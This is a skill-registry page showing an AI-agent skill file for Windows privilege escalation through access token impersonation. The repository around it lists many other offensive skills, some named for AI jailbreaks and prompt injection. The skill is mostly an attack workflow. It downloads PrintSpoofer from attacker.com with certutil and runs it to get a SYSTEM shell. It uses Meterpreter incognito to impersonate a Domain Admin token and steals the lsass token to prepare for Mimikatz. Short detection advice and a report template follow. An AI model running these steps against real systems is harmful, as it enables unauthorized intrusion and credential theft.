windows-token-impersonation
Skill22 starsChanged 6 months agoMITView on GitHub
Execute advanced Privilege Escalation on Windows operating systems utilizing Access Token Impersonation. Use this skill (often via Potato exploits or Metasploit/Incognito) when compromising services running as Local Service or Network Service to escalate to the highest privilege level: NT AUTHORITY\SYSTEM.
1 other project uses a version of this.
Adopted by
Most recently taken up by
- blacklanternsecurity/red-runtheir own version, first seen Apr 1, 2026
Other versions1 project uses a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 1
- blacklanternsecurity/red-run★ 285same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository353 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- bb-hugeSkill
- 2fa-multi-factor-bypassSkill
- 401-403-bypass-techniquesSkill
- Access Control — Complete Deep DiveSkill
- active-directory-acl-abuseSkill
- active-directory-asreproastingSkill
- active-directory-certificate-servicesSkill
- active-directory-dcsync-attackSkill
- active-directory-full-attack-chainSkill
- active-directory-golden-ticketSkill
- active-directory-kerberoastingSkill
- active-directory-kerberos-attacksSkill
- ad-asreproast-attackSkill
- ad-assessmentSkill
- ad-cs-esc1-abuseSkill
- ad-dcsync-attackSkill
- ad-pass-the-hashSkill
- advanced-sql-injection-sqliSkill
- ai-agent-tool-abuse-and-privilege-escalationSkill
- ai-data-extraction-via-ssrfSkill
- ai-data-poisoning-model-skewingSkill
- ai-data-poisoningSkill
- ai-jailbreak-obfuscation-ciphersSkill
- ai-jailbreak-prompt-injectionSkill
- ai-jailbreak-system-promptsSkill
- aikido-triageSkill
- ai-ml-securitySkill
- ai-pair-hunting-with-claudeSkill
- ai-prompt-leakingSkill
- ai-redteamSkill
- ai-report-writing-guardrailsSkill
- amend-skillSkill
- amsi-bypassSkill
- analyze-cveSkill
- android-apk-reverse-engineeringSkill
- android-pentesting-tricksSkill
- anti-debugging-techniquesSkill
- api-auth-and-jwt-abuseSkill
- api-authentication-bypassSkill
- api-authorization-and-bolaSkill
- api-enumeration-fuzzing-discoverySkill
- api-mass-assignment-exploitationSkill
- api-rate-limit-bypass-techniquesSkill
- api-recon-and-docsSkill
- api-secSkill
- api-securitySkill
- API Testing — Deep DiveSkill
- arbitrary-write-to-rceSkill
- authbypass-authentication-flawsSkill
- auth-bypassSkill
- Authentication — Complete Deep DiveSkill
- auth-secSkill
- authz-bypassSkill
- av-edr-evasion-techniquesSkill
- aws-cloud-penetration-testingSkill
- aws-cognito-abuseSkill
- aws-iam-privilege-escalationSkill
- aws-imdsv2-ssrf-bypassSkill
- aws-metadata-ssrf-exploitationSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
3 rules. About 0 are common, 1 is distinctive, and 2 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈1
Distinctive · estimate
This author's own choices. Worth a look.
2
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 27
When compromising an IIS web server or SQL server and achieving code execution, resulting in a low-privileged service account (e.g., IIS …
- Very specific: line 28
When executing the whoami /priv command yields the existence of SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.
- Distinctive: line 146
Service Account Hardening: Never run websites or background services using accounts possessing elevated token rights unless explicitly …
≈ “Common” is an estimate: at least 1 in 5 of the 213,897 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Windows Token Impersonation
When to Use
- When compromising an IIS web server or SQL server and achieving code execution, resulting in a low-privileged service account (e.g.,
IIS APPPOOL\DefaultAppPool). - When executing the
whoami /privcommand yields the existence ofSeImpersonatePrivilegeorSeAssignPrimaryTokenPrivilege. - To jump from local Administrator to
NT AUTHORITY\SYSTEM, circumventing User Access Control (UAC) limitations prohibiting direct registry/LSASS access.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Authentication Token Reconnaissance
# Concept: Windows utilizes Access Tokens (like digital ID cards) to grant users,
# processes, and threads access to resources. When a higher privileged account (like System)
# interacts with a service, it leaves a duplicate of its token in memory.
# 1. Establish initial shell.
# 2. Check current privileges:
whoami /priv
# Crucial Output Assessment:
# Privilege Name Description State
# ========================= ==================================== ========
# SeImpersonatePrivilege Impersonate a client after auth Enabled
# SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
# If you see `SeImpersonatePrivilege`, the system is functionally compromised. You can escalate to SYSTEM.Phase 2: The "Potato" Family Exploits (JuicyPotato, PrintSpoofer, GodPotato)
# Concept: If you hold `SeImpersonatePrivilege`, you simply need a SYSTEM-level process
# to talk to your process. "Potato" exploits forcefully coerce the NT AUTHORITY\SYSTEM account
# into attempting an NTLM authentication against a local pipe you control.
# Once SYSTEM touches your pipe, you duplicate its access token and spawn a new shell with it.
# Scenario: IIS Web Shell execution.
# 1. Transfer PrintSpoofer (modern equivalent for Windows Server 2016-2022) to target.
certutil -urlcache -f http://attacker.com/PrintSpoofer64.exe C:\Windows\Temp\PrintSpoofer64.exe
# 2. Execution (coercing the Print Spooler service to authenticate via Named Pipes)
C:\Windows\Temp\PrintSpoofer64.exe -i -c cmd.exe
# 3. Validation:
# [v] Found privilege: SeImpersonatePrivilege
# [v] Named pipe listening...
# [v] CreateProcessAsUser() OK
# Microsoft Windows [Version 10.0.19041]
whoami
# Result: nt authority\systemPhase 3: Token Stealing with Metasploit (Incognito)
# Concept: Standard administrators cannot directly read passwords from memory (LSASS) without
# jumping through UAC and debug privilege hoops. However, administrators routinely leave high-privilege
# tokens lingering in concurrent processes (e.g., Domain Admin logged in via RDP in the background).
# 1. Within a Metasploit Meterpreter session on a compromised host:
meterpreter > load incognito
# 2. Enumerate available tokens circulating currently in memory:
meterpreter > list_tokens -u
# Output Assessment:
# Delegation Tokens Available
# ========================================
# NT AUTHORITY\SYSTEM
# CORP\DomainAdmin
# CORP\BackupServiceManager
# 3. Execute the Impersonation:
meterpreter > impersonate_token "CORP\DomainAdmin"
# 4. Result:
# You are now impersonating the Domain Admin. Every subsequent network traversal interaction (e.g., WMI)
# will present the Domain Admin token, granting you full access to the Domain Controller without needing absolute passwords.Phase 4: Manipulating Token Privileges (EnableAllTokenPrivs)
# Concept: You might technically be `NT AUTHORITY\SYSTEM`, but you find yourself barred
# from accessing LSASS because your specific thread's token has stripped its `SeDebugPrivilege` natively for safety.
# Action: You must dynamically adjust the token permissions.
# In Metasploit:
meterpreter > getsystem
meterpreter > steal_token <PID of lsass.exe expected running as full SYSTEM>
# In C# / PowerShell Post-Exploitation APIs:
# Utilize the `AdjustTokenPrivileges` Windows API to programmatically re-enable `SeDebugPrivilege` on the active thread,
# granting the capability to execute Mimikatz safely.Decision Point 🔀
flowchart TD
A[Achieve Initial Shell] --> B[Execute `whoami /priv`]
B --> C{SeImpersonatePrivilege Enabled?}
C -->|Yes| D[Determine OS Version]
D -->|Windows Server 2016+| E[Deploy PrintSpoofer, RoguePotato, or GodPotato]
D -->|Windows < 10 / Server 2012| F[Deploy JuicyPotato or RottenPotato]
E --> G[Gain NT AUTHORITY\\SYSTEM]
F --> G
C -->|No| H{Is user a Local Administrator?}
H -->|Yes| I[Use Incognito mode / Token Impersonation to hijack Domain Admin tokens]
H -->|No| J[Impersonation impossible. Search for Unquoted Service Paths / Kernel exploits]🔵 Blue Team Detection & Defense
- Disable the Print Spooler: A vast majority of token coercion escalation attacks (like PrintSpoofer) rely on coercing the ancient Print Spooler service (
spoolsv.exe). Microsoft strongly recommends disabling this service on all Domain Controllers and Web Servers unless physically attached to printing hardware. - Service Account Hardening: Never run websites or background services using accounts possessing elevated token rights unless explicitly necessary. Applications deploying using modern Virtual Accounts or IIS Application Pool Identities inherit strict limitations rendering token manipulation highly difficult.
- Detect Anomalous Process Lineage: Alert aggressively on Security Information Event Management (SIEM) rules monitoring
CreateProcessWithTokenWorCreateProcessAsUserWfunctions executed outside of core authorized system processes likesvchost.exeorlsass.exe. Finding an IIS worker process (w3wp.exe) utilizing impersonation to spawncmd.exeis a critical severity indicator of a Potato exploit.
Key Concepts
| Concept | Description |
| Access Token | An object that perfectly encapsulates the security context (identity and privileges) of a logged-on process acting upon the Windows kernel |
| SeImpersonatePrivilege | A powerful privilege designed explicitly to allow a trusted service to act on behalf of a connecting user (e.g., an IIS server acting as the user writing a file) |
| NT AUTHORITY\SYSTEM | The supreme local account on a Windows machine. Possesses significantly higher core privileges than even a local Administrator, essentially possessing total ownership of the operating system |
| Coercion | Manipulating the operating system into executing an authorized NTLM authentication handshake utilizing a vulnerable API (like MS-RPRN) back toward a malicious listener |
Output Format
Red Team Privilege Escalation Scenario
======================================
Tactic: Privilege Escalation (Access Token Manipulation T1134)
Target: WebServer-04 (Windows Server 2019)
Vulnerability: Application Pool Service Privileges
Description:
Initial Foothold was established via an Unrestricted File Upload vulnerability leading to an active ASPX Web Shell on WebServer-04. The shell executed within the context of the `IIS APPPOOL\WebStore` service account.
Enumeration of the web shell environment via `whoami /priv` demonstrated the `SeImpersonatePrivilege` was enabled for the service identity.
To capitalize upon this architectural misconfiguration, the Red Team deployed the `PrintSpoofer64.exe` utility payload. Utilizing this executable, the native Windows Print Spooler service was coerced into authenticating over an established attacker-defined Named Pipe. The process intercepted the `NT AUTHORITY\SYSTEM` access token resulting from the communication validation, duplicated the structure into memory, and executed a secondary C2 Beacon executing within the newly assumed SYSTEM context.
Impact:
Immediate vertical privilege escalation resulting in Complete Host Compromise, permitting LSASS memory dumping, security software neutralization, and subsequent persistent lateral movement activities.🛡️ Remediation & Mitigation Strategy
- Input Validation: Sanitize and strictly type-check all inputs.
- Least Privilege: Constrain component execution bounds.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
References
- Ired.team: Token Impersonation Incognito
- ITM4n (Creator of PrintSpoofer): PrintSpoofer - Abusing Impersonation Privileges
- MITRE ATT&CK: Access Token Manipulation (T1134)
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

